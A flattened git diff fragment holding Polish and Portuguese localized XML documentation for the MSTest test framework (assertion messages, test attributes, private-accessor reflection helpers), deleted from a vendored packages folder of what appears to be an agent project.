Oczekiwana wartość: <{1} ({2})>. Rzeczywista wartość: <{3} ({4})>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana wartość: <{1}>. Rzeczywista wartość: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano różnicy większej niż <{3}> między oczekiwaną wartością <{1}> a wartością rzeczywistą <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano dowolnej wartości z wyjątkiem: <{1}>. Wartość rzeczywista: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie przekazuj typów wartości do metody AreSame(). Wartości przekonwertowane na typ Object nigdy nie będą takie same. Rozważ użycie metody AreEqual(). {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} — niepowodzenie. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do asynchronicznej metody TestMethod z elementem UITestMethodAttribute, które nie są obsługiwane. Usuń element asynchroniczny lub użyj elementu TestMethodAttribute. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje są puste. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje zawierają te same elementy. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Odwołania do obu kolekcji wskazują ten sam obiekt kolekcji. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje zawierają te same elementy. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0}({1}). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (null). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (object). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie zawiera ciągu „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} ({1}). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie można użyć metody Assert.Equals dla asercji. Zamiast tego użyj metody Assert.AreEqual i przeciążeń. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Liczba elementów w kolekcjach nie jest zgodna. Oczekiwana wartość: <{1}>. Wartość rzeczywista: <{2}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {0} nie jest zgodny. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {1} nie ma oczekiwanego typu. Oczekiwany typ: <{2}>. Rzeczywisty typ: <{3}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {1} ma wartość (null). Oczekiwany typ: <{2}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie kończy się ciągiem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nieprawidłowy argument. Element EqualsTester nie może używać wartości null. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie można przekonwertować obiektu typu {0} na typ {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Przywoływany obiekt wewnętrzny nie jest już prawidłowy. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Parametr „{0}” jest nieprawidłowy. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Właściwość {0} ma typ {1}. Oczekiwano typu {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} Oczekiwany typ: <{1}>. Rzeczywisty typ: <{2}>. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie jest zgodny ze wzorcem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Niepoprawny typ: <{1}>. Rzeczywisty typ: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” jest zgodny ze wzorcem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie określono atrybutu DataRowAttribute. Atrybut DataTestMethodAttribute wymaga co najmniej jednego atrybutu DataRowAttribute. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie zgłoszono wyjątku. Oczekiwany wyjątek: {1}. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Parametr „{0}” jest nieprawidłowy. Wartość nie może być równa null. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Inna liczba elementów. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: - Nie można odnaleźć konstruktora z określoną sygnaturą. Może być konieczne ponowne wygenerowanie prywatnej metody dostępu - lub element członkowski może być zdefiniowany jako prywatny w klasie podstawowej. W drugim przypadku należy przekazać typ, - który definiuje element członkowski w konstruktorze obiektu PrivateObject. - . - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: - Nie można odnaleźć określonego elementu członkowskiego ({0}). Może być konieczne ponowne wygenerowanie prywatnej metody dostępu - lub element członkowski może być zdefiniowany jako prywatny w klasie podstawowej. W drugim przypadku należy przekazać typ, - który definiuje element członkowski w konstruktorze obiektu PrivateObject. - . - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie rozpoczyna się od ciągu „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwanym typem wyjątku musi być typ System.Exception lub typ pochodzący od typu System.Exception. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (Nie można pobrać komunikatu dotyczącego wyjątku typu {0} z powodu wyjątku). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa nie zgłosiła oczekiwanego wyjątku {0}. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa nie zgłosiła wyjątku. Wyjątek był oczekiwany przez atrybut {0} zdefiniowany w metodzie testowej. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa zgłosiła wyjątek {0}, ale oczekiwano wyjątku {1}. Komunikat o wyjątku: {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa zgłosiła wyjątek {0}, ale oczekiwano wyjątku {1} lub typu, który od niego pochodzi. Komunikat o wyjątku: {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Zgłoszono wyjątek {2}, ale oczekiwano wyjątku {1}. {0} - Komunikat o wyjątku: {3} - Ślad stosu: {4}. - - - - - wyniki testu jednostkowego - - - - - Test został wykonany, ale wystąpiły problemy. - Problemy mogą obejmować wyjątki lub asercje zakończone niepowodzeniem. - - - - - Test został ukończony, ale nie można stwierdzić, czy zakończył się powodzeniem, czy niepowodzeniem. - Może być używany dla przerwanych testów. - - - - - Test został wykonany bez żadnych problemów. - - - - - Test jest obecnie wykonywany. - - - - - Wystąpił błąd systemu podczas próby wykonania testu. - - - - - Upłynął limit czasu testu. - - - - - Test został przerwany przez użytkownika. - - - - - Stan testu jest nieznany - - - - - Udostępnia funkcjonalność pomocnika dla platformy testów jednostkowych - - - - - Pobiera komunikaty wyjątku, w tym rekursywnie komunikaty wszystkich wewnętrznych - wyjątków - - Wyjątek, dla którego mają zostać pobrane komunikaty - ciąg z informacjami o komunikacie o błędzie - - - - Wyliczenie dla limitów czasu, które może być używane z klasą . - Typ wyliczenia musi być zgodny - - - - - Nieskończone. - - - - - Atrybut klasy testowej. - - - - - Pobiera atrybut metody testowej, który umożliwia uruchomienie tego testu. - - Wystąpienie atrybutu metody testowej zdefiniowane w tej metodzie. - do użycia do uruchamiania tego testu. - Extensions can override this method to customize how all methods in a class are run. - - - - Atrybut metody testowej. - - - - - Wykonuje metodę testową. - - Metoda testowa do wykonania. - Tablica obiektów TestResult reprezentujących wyniki testu. - Extensions can override this method to customize running a TestMethod. - - - - Atrybut inicjowania testu. - - - - - Atrybut oczyszczania testu. - - - - - Atrybut ignorowania. - - - - - Atrybut właściwości testu. - - - - - Inicjuje nowe wystąpienie klasy . - - - Nazwa. - - - Wartość. - - - - - Pobiera nazwę. - - - - - Pobiera wartość. - - - - - Atrybut inicjowania klasy. - - - - - Atrybut oczyszczania klasy. - - - - - Atrybut inicjowania zestawu. - - - - - Atrybut oczyszczania zestawu. - - - - - Właściciel testu - - - - - Inicjuje nowe wystąpienie klasy . - - - Właściciel. - - - - - Pobiera właściciela. - - - - - Atrybut priorytetu służący do określania priorytetu testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy . - - - Priorytet. - - - - - Pobiera priorytet. - - - - - Opis testu - - - - - Inicjuje nowe wystąpienie klasy do opisu testu. - - Opis. - - - - Pobiera opis testu. - - - - - Identyfikator URI struktury projektu CSS - - - - - Inicjuje nowe wystąpienie klasy dla identyfikatora URI struktury projektu CSS. - - Identyfikator URI struktury projektu CSS. - - - - Pobiera identyfikator URI struktury projektu CSS. - - - - - Identyfikator URI iteracji CSS - - - - - Inicjuje nowe wystąpienie klasy dla identyfikatora URI iteracji CSS. - - Identyfikator URI iteracji CSS. - - - - Pobiera identyfikator URI iteracji CSS. - - - - - Atrybut elementu roboczego służący do określania elementu roboczego skojarzonego z tym testem. - - - - - Inicjuje nowe wystąpienie klasy dla atrybutu WorkItem. - - Identyfikator dla elementu roboczego. - - - - Pobiera identyfikator dla skojarzonego elementu roboczego. - - - - - Atrybut limitu czasu służący do określania limitu czasu testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy . - - - Limit czasu. - - - - - Inicjuje nowe wystąpienie klasy ze wstępnie ustawionym limitem czasu - - - Limit czasu - - - - - Pobiera limit czasu. - - - - - Obiekt TestResult zwracany do adaptera. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Pobiera lub ustawia nazwę wyświetlaną wyniku. Przydatny w przypadku zwracania wielu wyników. - Jeśli ma wartość null, nazwa metody jest używana jako nazwa wyświetlana. - - - - - Pobiera lub ustawia wynik wykonania testu. - - - - - Pobiera lub ustawia wyjątek zgłoszony, gdy test kończy się niepowodzeniem. - - - - - Pobiera lub ustawia dane wyjściowe komunikatu rejestrowanego przez kod testu. - - - - - Pobiera lub ustawia dane wyjściowe komunikatu rejestrowanego przez kod testu. - - - - - Pobiera lub ustawia ślady debugowania przez kod testu. - - - - - Gets or sets the debug traces by test code. - - - - - Pobiera lub ustawia czas trwania wykonania testu. - - - - - Pobiera lub ustawia indeks wiersza danych w źródle danych. Ustawia tylko dla wyników oddzielnych - uruchomień wiersza danych w teście opartym na danych. - - - - - Pobiera lub ustawia wartość zwracaną metody testowej. (Obecnie zawsze wartość null). - - - - - Pobiera lub ustawia pliki wyników dołączone przez test. - - - - - Określa parametry połączenia, nazwę tabeli i metodę dostępu do wiersza w przypadku testowania opartego na danych. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nazwa domyślnego dostawcy dla źródła danych. - - - - - Domyślna metoda uzyskiwania dostępu do danych. - - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z dostawcą danych, parametrami połączenia, tabelą danych i metodą dostępu do danych w celu uzyskania dostępu do źródła danych. - - Niezmienna nazwa dostawcy danych, taka jak System.Data.SqlClient - - Parametry połączenia specyficzne dla dostawcy danych. - OSTRZEŻENIE: parametry połączenia mogą zawierać poufne dane (na przykład hasło). - Parametry połączenia są przechowywane w postaci zwykłego tekstu w kodzie źródłowym i w skompilowanym zestawie. - Należy ograniczyć dostęp do kodu źródłowego i zestawu, aby chronić te poufne informacje. - - Nazwa tabeli danych. - Określa kolejność dostępu do danych. - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z parametrami połączenia i nazwą tabeli. - Określ parametry połączenia i tabelę danych w celu uzyskania dostępu do źródła danych OLEDB. - - - Parametry połączenia specyficzne dla dostawcy danych. - OSTRZEŻENIE: parametry połączenia mogą zawierać poufne dane (na przykład hasło). - Parametry połączenia są przechowywane w postaci zwykłego tekstu w kodzie źródłowym i w skompilowanym zestawie. - Należy ograniczyć dostęp do kodu źródłowego i zestawu, aby chronić te poufne informacje. - - Nazwa tabeli danych. - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z dostawcą danych i parametrami połączenia skojarzonymi z nazwą ustawienia. - - Nazwa źródła danych znaleziona w sekcji <microsoft.visualstudio.qualitytools> pliku app.config. - - - - Pobiera wartość reprezentującą dostawcę danych źródła danych. - - - Nazwa dostawcy danych. Jeśli dostawca danych nie został wyznaczony w czasie inicjowania obiektu, zostanie zwrócony domyślny dostawca obiektu System.Data.OleDb. - - - - - Pobiera wartość reprezentującą parametry połączenia dla źródła danych. - - - - - Pobiera wartość wskazującą nazwę tabeli udostępniającej dane. - - - - - Pobiera metodę używaną do uzyskiwania dostępu do źródła danych. - - - - Jedna z . Jeśli nie zainicjowano , zwróci wartość domyślną . - - - - - Pobiera nazwę źródła danych znajdującego się w sekcji <microsoft.visualstudio.qualitytools> w pliku app.config. - - - - - Atrybut dla testu opartego na danych, w którym dane można określić bezpośrednio. - - - - - Znajdź wszystkie wiersze danych i wykonaj. - - - Metoda testowa. - - - Tablica elementów . - - - - - Uruchamianie metody testowej dla testu opartego na danych. - - Metoda testowa do wykonania. - Wiersz danych. - Wyniki wykonania. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index e39df20b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Usado para especificar o item de implantação (arquivo ou diretório) para implantação por teste. - Pode ser especificado em classe de teste ou em método de teste. - Pode ter várias instâncias do atributo para especificar mais de um item. - O caminho do item pode ser absoluto ou relativo. Se relativo, é relativo a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Inicializa uma nova instância da classe . - - O arquivo ou o diretório a ser implantado. O caminho é relativo ao diretório de saída do build. O item será copiado para o mesmo diretório que o dos assemblies de teste implantados. - - - - Inicializa uma nova instância da classe - - O caminho relativo ou absoluto ao arquivo ou ao diretório a ser implantado. O caminho é relativo ao diretório de saída do build. O item será copiado para o mesmo diretório que o dos assemblies de teste implantados. - O caminho do diretório para o qual os itens deverão ser copiados. Ele pode ser absoluto ou relativo ao diretório de implantação. Todos os arquivos e diretórios identificados por serão copiados para esse diretório. - - - - Obtém o caminho da pasta ou do arquivo de origem a ser copiado. - - - - - Obtém o caminho do diretório para o qual o item é copiado. - - - - - Contém literais dos nomes das seções, das propriedades e dos atributos. - - - - - O nome da seção de configuração. - - - - - O nome da seção de configuração para Beta2. Mantida para compatibilidade. - - - - - Nome da Seção para a Fonte de dados. - - - - - Nome do Atributo para 'Name' - - - - - Nome do Atributo para 'ConnectionString' - - - - - Nome do Atributo para 'DataAccessMethod' - - - - - Nome do Atributo para 'DataTable' - - - - - O elemento da Fonte de Dados. - - - - - Obtém ou define o nome para essa configuração. - - - - - Obtém ou define o elemento ConnectionStringSettings na seção <connectionStrings> no arquivo .config. - - - - - Obtém ou define o nome da tabela de dados. - - - - - Obtém ou define o tipo de acesso a dados. - - - - - Obtém o nome da chave. - - - - - Obtém as propriedades de configuração. - - - - - A coleção de elementos da Fonte de dados. - - - - - Inicializa uma nova instância da classe . - - - - - Retorna o elemento de configuração com a chave especificada. - - A chave do elemento a ser retornada. - O System.Configuration.ConfigurationElement com a chave especificada; caso contrário, nulo. - - - - Obtém o elemento de configuração no local do índice especificado. - - O local do índice do System.Configuration.ConfigurationElement a ser retornado. - - - - Adiciona um elemento de configuração à coleção de elementos de configuração. - - O System.Configuration.ConfigurationElement para adicionar. - - - - Remove um System.Configuration.ConfigurationElement da coleção. - - O . - - - - Remove um System.Configuration.ConfigurationElement da coleção. - - A chave do System.Configuration.ConfigurationElement a ser removida. - - - - Remove todos os objetos de elementos de configuração da coleção. - - - - - Cria o novo . - - Um novo . - - - - Obtém a chave do elemento para um elemento de configuração especificado. - - O System.Configuration.ConfigurationElement para o qual retornar a chave. - Um System.Object que age como a chave para o System.Configuration.ConfigurationElement especificado. - - - - Adiciona um elemento de configuração à coleção de elementos de configuração. - - O System.Configuration.ConfigurationElement para adicionar. - - - - Adiciona um elemento de configuração à coleção de elementos de configuração. - - O local do índice no qual adicionar o System.Configuration.ConfigurationElement especificado. - O System.Configuration.ConfigurationElement para adicionar. - - - - Suporte para as definições de configuração dos Testes. - - - - - Obtém a seção de configuração para testes. - - - - - A seção de configuração para testes. - - - - - Obtém as fontes de dados para essa seção da configuração. - - - - - Obtém a coleção de propriedades. - - - O de propriedades para o elemento. - - - - - Essa classe representa o objeto dinâmico INTERNO NÃO público no sistema - - - - - Inicializa a nova instância da classe que contém - o objeto já existente da classe particular - - objeto que serve como ponto inicial para alcançar os membros particulares - a cadeia de caracteres de desreferência usando . que aponta para o objeto a ser recuperado como em m_X.m_Y.m_Z - - - - Inicializa uma nova instância da classe que encapsula o - objeto especificado. - - Nome do assembly - nome totalmente qualificado - Argumentos a serem passados ao construtor - - - - Inicializa uma nova instância da classe que encapsula o - objeto especificado. - - Nome do assembly - nome totalmente qualificado - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo construtor - Argumentos a serem passados ao construtor - - - - Inicializa uma nova instância da classe que encapsula o - objeto especificado. - - o tipo do objeto a ser criado - Argumentos a serem passados ao construtor - - - - Inicializa uma nova instância da classe que encapsula o - objeto especificado. - - o tipo do objeto a ser criado - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo construtor - Argumentos a serem passados ao construtor - - - - Inicializa uma nova instância da classe que encapsula - o objeto fornecido. - - objeto a ser encapsulado - - - - Inicializa uma nova instância da classe que encapsula - o objeto fornecido. - - objeto a ser encapsulado - Objeto PrivateType - - - - Obtém ou define o destino - - - - - Obtém o tipo de objeto subjacente - - - - - retorna o código hash do objeto de destino - - int que representa o código hash do objeto de destino - - - - Igual a - - Objeto com o qual comparar - retorna verdadeiro se os objetos forem iguais. - - - - Invoca o método especificado - - Nome do método - Argumentos a serem passados para o membro a ser invocado. - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo método. - Argumentos a serem passados para o membro a ser invocado. - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo método. - Argumentos a serem passados para o membro a ser invocado. - Uma matriz de tipos que correspondem aos tipos dos argumentos genéricos. - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Argumentos a serem passados para o membro a ser invocado. - Informações de cultura - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo método. - Argumentos a serem passados para o membro a ser invocado. - Informações de cultura - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Argumentos a serem passados para o membro a ser invocado. - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo método. - Argumentos a serem passados para o membro a ser invocado. - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Argumentos a serem passados para o membro a ser invocado. - Informações de cultura - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo método. - Argumentos a serem passados para o membro a ser invocado. - Informações de cultura - Resultado da chamada de método - - - - Invoca o método especificado - - Nome do método - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem obtidos pelo método. - Argumentos a serem passados para o membro a ser invocado. - Informações de cultura - Uma matriz de tipos que correspondem aos tipos dos argumentos genéricos. - Resultado da chamada de método - - - - Obtém o elemento da matriz que usa a matriz de subscritos para cada dimensão - - Nome do membro - os índices da matriz - Uma matriz de elementos. - - - - Define o elemento da matriz que usa a matriz de subscritos para cada dimensão - - Nome do membro - Valor a ser definido - os índices da matriz - - - - Obtém o elemento da matriz que usa a matriz de subscritos para cada dimensão - - Nome do membro - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - os índices da matriz - Uma matriz de elementos. - - - - Define o elemento da matriz que usa a matriz de subscritos para cada dimensão - - Nome do membro - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Valor a ser definido - os índices da matriz - - - - Obter o campo - - Nome do campo - O campo. - - - - Define o campo - - Nome do campo - valor a ser definido - - - - Obtém o campo - - Nome do campo - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - O campo. - - - - Define o campo - - Nome do campo - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - valor a ser definido - - - - Obter o campo ou a propriedade - - Nome do campo ou da propriedade - O campo ou a propriedade. - - - - Define o campo ou a propriedade - - Nome do campo ou da propriedade - valor a ser definido - - - - Obtém o campo ou a propriedade - - Nome do campo ou da propriedade - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - O campo ou a propriedade. - - - - Define o campo ou a propriedade - - Nome do campo ou da propriedade - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - valor a ser definido - - - - Obtém a propriedade - - Nome da propriedade - Argumentos a serem passados para o membro a ser invocado. - A propriedade. - - - - Obtém a propriedade - - Nome da propriedade - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - Argumentos a serem passados para o membro a ser invocado. - A propriedade. - - - - Definir a propriedade - - Nome da propriedade - valor a ser definido - Argumentos a serem passados para o membro a ser invocado. - - - - Definir a propriedade - - Nome da propriedade - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - valor a ser definido - Argumentos a serem passados para o membro a ser invocado. - - - - Obtém a propriedade - - Nome da propriedade - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Argumentos a serem passados para o membro a ser invocado. - A propriedade. - - - - Obtém a propriedade - - Nome da propriedade - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - Argumentos a serem passados para o membro a ser invocado. - A propriedade. - - - - Define a propriedade - - Nome da propriedade - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - valor a ser definido - Argumentos a serem passados para o membro a ser invocado. - - - - Define a propriedade - - Nome da propriedade - Um bitmask composto de um ou mais que especificam como a pesquisa é conduzida. - valor a ser definido - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - Argumentos a serem passados para o membro a ser invocado. - - - - Validar cadeia de caracteres de acesso - - cadeia de caracteres de acesso - - - - Invoca o membro - - Nome do membro - Atributos adicionais - Argumentos para a invocação - Cultura - Resultado da invocação - - - - Extrai a assinatura mais apropriada do método genérico do tipo particular atual. - - O nome do método no qual pesquisar o cache de assinatura. - Uma matriz de tipos que correspondem aos tipos dos parâmetros nos quais pesquisar. - Uma matriz de tipos que correspondem aos tipos dos argumentos genéricos. - para filtrar ainda mais as assinaturas de método. - Modificadores para parâmetros. - Uma instância methodinfo. - - - - Essa classe representa uma classe particular para a funcionalidade de Acessador Particular. - - - - - Associa-se a tudo - - - - - O tipo encapsulado. - - - - - Inicializa uma nova instância da classe que contém o tipo particular. - - Nome do assembly - nome totalmente qualificado da - - - - Inicializa a nova instância da classe que contém - o tipo particular do objeto de tipo - - O Tipo encapsulado a ser criado. - - - - Obtém o tipo referenciado - - - - - Invoca o membro estático - - Nome do membro para o InvokeHelper - Argumentos para a invocação - Resultado da invocação - - - - Invoca o membro estático - - Nome do membro para o InvokeHelper - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem invocados pelo método - Argumentos para a invocação - Resultado da invocação - - - - Invoca o membro estático - - Nome do membro para o InvokeHelper - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem invocados pelo método - Argumentos para a invocação - Uma matriz de tipos que correspondem aos tipos dos argumentos genéricos. - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Argumentos para a invocação - Cultura - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem invocados pelo método - Argumentos para a invocação - Informações de cultura - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Atributos adicionais de invocação - Argumentos para a invocação - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Atributos adicionais de invocação - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem invocados pelo método - Argumentos para a invocação - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Atributos adicionais de invocação - Argumentos para a invocação - Cultura - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Atributos adicionais de invocação - /// Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem invocados pelo método - Argumentos para a invocação - Cultura - Resultado da invocação - - - - Invoca o método estático - - Nome do membro - Atributos adicionais de invocação - /// Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros a serem invocados pelo método - Argumentos para a invocação - Cultura - Uma matriz de tipos que correspondem aos tipos dos argumentos genéricos. - Resultado da invocação - - - - Obtém o elemento na matriz estática - - Nome da matriz - - Uma matriz unidimensional com inteiros de 32 bits que representam os índices que especificam - a posição do elemento a ser obtido. Por exemplo, para acessar um [10][11], os índices seriam {10,11} - - elemento na localização especificada - - - - Define o membro da matriz estática - - Nome da matriz - valor a ser definido - - Uma matriz unidimensional com inteiros de 32 bits que representam os índices que especificam - a posição do elemento a ser configurado. Por exemplo, para acessar um [10][11], a matriz seria {10,11} - - - - - Obtém o elemento na matriz estática - - Nome da matriz - Atributos adicionais de InvokeHelper - - Uma matriz unidirecional com íntegros de 32 bits que representam os índices que especificam - a posição do elemento a ser obtido. Por exemplo, para acessar um [10][11], a matriz seria {10,11} - - elemento na localização especificada - - - - Define o membro da matriz estática - - Nome da matriz - Atributos adicionais de InvokeHelper - valor a ser definido - - Uma matriz unidimensional com inteiros de 32 bits que representam os índices que especificam - a posição do elemento a ser configurado. Por exemplo, para acessar um [10][11], a matriz seria {10,11} - - - - - Obtém o campo estático - - Nome do campo - O campo estático. - - - - Define o campo estático - - Nome do campo - Argumento para a invocação - - - - Obtém o campo estático usando os atributos especificados de InvokeHelper - - Nome do campo - Atributos adicionais de invocação - O campo estático. - - - - Define o campo estático usando atributos de associação - - Nome do campo - Atributos adicionais de InvokeHelper - Argumento para a invocação - - - - Obtém a propriedade ou o campo estático - - Nome do campo ou da propriedade - A propriedade ou o campo estático. - - - - Define a propriedade ou o campo estático - - Nome do campo ou da propriedade - Valor a ser definido para o campo ou para a propriedade - - - - Obtém a propriedade ou o campo estático usando os atributos especificados de InvokeHelper - - Nome do campo ou da propriedade - Atributos adicionais de invocação - A propriedade ou o campo estático. - - - - Define a propriedade ou o campo estático usando atributos de associação - - Nome do campo ou da propriedade - Atributos adicionais de invocação - Valor a ser definido para o campo ou para a propriedade - - - - Obtém a propriedade estática - - Nome do campo ou da propriedade - Argumentos para a invocação - A propriedade estática. - - - - Define a propriedade estática - - Nome da propriedade - Valor a ser definido para o campo ou para a propriedade - Argumentos a serem passados para o membro a ser invocado. - - - - Define a propriedade estática - - Nome da propriedade - Valor a ser definido para o campo ou para a propriedade - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - Argumentos a serem passados para o membro a ser invocado. - - - - Obtém a propriedade estática - - Nome da propriedade - Atributos adicionais de invocação. - Argumentos a serem passados para o membro a ser invocado. - A propriedade estática. - - - - Obtém a propriedade estática - - Nome da propriedade - Atributos adicionais de invocação. - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - Argumentos a serem passados para o membro a ser invocado. - A propriedade estática. - - - - Define a propriedade estática - - Nome da propriedade - Atributos adicionais de invocação. - Valor a ser definido para o campo ou para a propriedade - Valores opcionais de índice para as propriedades indexadas. Os índices das propriedades indexadas são baseados em zero. Esse valor deve ser nulo para as propriedades não indexadas. - - - - Define a propriedade estática - - Nome da propriedade - Atributos adicionais de invocação. - Valor a ser definido para o campo ou para a propriedade - Uma matriz de objetos que representam o número, a ordem e o tipo dos parâmetros da propriedade indexada. - Argumentos a serem passados para o membro a ser invocado. - - - - Invoca o método estático - - Nome do membro - Atributos adicionais de invocação - Argumentos para a invocação - Cultura - Resultado da invocação - - - - Fornece a descoberta da assinatura de método para os métodos genéricos. - - - - - Compara as assinaturas de método desses dois métodos. - - Method1 - Method2 - Verdadeiro se forem similares. - - - - Obtém a profundidade da hierarquia do tipo base do tipo fornecido. - - O tipo. - A profundidade. - - - - Localiza o tipo mais derivado com as informações fornecidas. - - Correspondências candidatas. - Número de correspondências. - O método mais derivado. - - - - Dado um conjunto de métodos que correspondem aos critérios base, selecione um método baseado - em uma matriz de tipos. Esse método deverá retornar nulo se nenhum método corresponder - aos critérios. - - Especificação de associação. - Correspondências 